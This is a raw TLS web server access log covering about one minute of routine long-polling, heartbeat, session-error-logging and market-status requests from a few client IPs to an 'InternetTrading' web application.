[09/Jan/2026:11:49:18 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930827104 HTTP/1.1" -
[09/Jan/2026:11:49:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930827527 HTTP/1.1" -
[09/Jan/2026:11:49:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930827265 HTTP/1.1" -
[09/Jan/2026:11:49:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930827659 HTTP/1.1" -
[09/Jan/2026:11:49:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930829141 HTTP/1.1" -
[09/Jan/2026:11:49:20 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:49:20 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:49:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:49:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:49:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930829349 HTTP/1.1" -
[09/Jan/2026:11:49:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930832167 HTTP/1.1" -
[09/Jan/2026:11:49:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930832550 HTTP/1.1" -
[09/Jan/2026:11:49:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930832477 HTTP/1.1" -
[09/Jan/2026:11:49:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930832790 HTTP/1.1" -
[09/Jan/2026:11:49:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:49:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:49:25 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930834207 HTTP/1.1" -
[09/Jan/2026:11:49:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930834387 HTTP/1.1" -
[09/Jan/2026:11:49:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930837569 HTTP/1.1" -
[09/Jan/2026:11:49:28 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930837233 HTTP/1.1" -
[09/Jan/2026:11:49:28 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:49:28 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:49:28 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930837704 HTTP/1.1" -
[09/Jan/2026:11:49:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930837921 HTTP/1.1" -
[09/Jan/2026:11:49:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930839278 HTTP/1.1" -
[09/Jan/2026:11:49:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:49:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:49:31 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930839419 HTTP/1.1" -
[09/Jan/2026:11:49:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930842594 HTTP/1.1" -
[09/Jan/2026:11:49:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930842291 HTTP/1.1" -
[09/Jan/2026:11:49:34 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930842787 HTTP/1.1" -
[09/Jan/2026:11:49:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930843035 HTTP/1.1" -
[09/Jan/2026:11:49:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930844339 HTTP/1.1" -
[09/Jan/2026:11:49:37 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930844486 HTTP/1.1" -
[09/Jan/2026:11:49:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930847619 HTTP/1.1" -
[09/Jan/2026:11:49:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930847356 HTTP/1.1" -
[09/Jan/2026:11:49:39 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930847997 HTTP/1.1" -
[09/Jan/2026:11:49:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:49:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930848230 HTTP/1.1" -
[09/Jan/2026:11:49:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:49:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:49:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:49:40 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930849399 HTTP/1.1" -
[09/Jan/2026:11:49:42 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930849576 HTTP/1.1" -
[09/Jan/2026:11:49:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930852660 HTTP/1.1" -
[09/Jan/2026:11:49:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:49:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:49:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930852413 HTTP/1.1" -
[09/Jan/2026:11:49:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930853399 HTTP/1.1" -
[09/Jan/2026:11:49:44 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930853240 HTTP/1.1" -
[09/Jan/2026:11:49:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930854461 HTTP/1.1" -
[09/Jan/2026:11:49:47 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930854607 HTTP/1.1" -
[09/Jan/2026:11:49:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:49:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:49:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:49:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:49:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930857681 HTTP/1.1" -
[09/Jan/2026:11:49:48 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930857584 HTTP/1.1" -
[09/Jan/2026:11:49:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930858456 HTTP/1.1" -
[09/Jan/2026:11:49:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930858418 HTTP/1.1" -
[09/Jan/2026:11:49:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930859521 HTTP/1.1" -
[09/Jan/2026:11:49:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:49:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:49:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:49:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:49:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930859678 HTTP/1.1" -
[09/Jan/2026:11:49:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930862704 HTTP/1.1" -
[09/Jan/2026:11:49:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930862645 HTTP/1.1" -
[09/Jan/2026:11:49:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:49:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:49:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930863619 HTTP/1.1" -
[09/Jan/2026:11:49:54 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930863768 HTTP/1.1" -
[09/Jan/2026:11:49:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930864577 HTTP/1.1" -
[09/Jan/2026:11:49:57 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930864733 HTTP/1.1" -
[09/Jan/2026:11:49:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930867750 HTTP/1.1" -
[09/Jan/2026:11:49:58 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:49:58 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:49:58 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930867703 HTTP/1.1" -
[09/Jan/2026:11:49:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930868758 HTTP/1.1" -
[09/Jan/2026:11:50:00 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930868957 HTTP/1.1" -
[09/Jan/2026:11:50:00 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930869648 HTTP/1.1" -
[09/Jan/2026:11:50:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:50:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:50:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930869761 HTTP/1.1" -
[09/Jan/2026:11:50:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930872771 HTTP/1.1" -
[09/Jan/2026:11:50:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930872761 HTTP/1.1" -
[09/Jan/2026:11:50:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930873887 HTTP/1.1" -
[09/Jan/2026:11:50:05 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930874089 HTTP/1.1" -
[09/Jan/2026:11:50:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930874717 HTTP/1.1" -
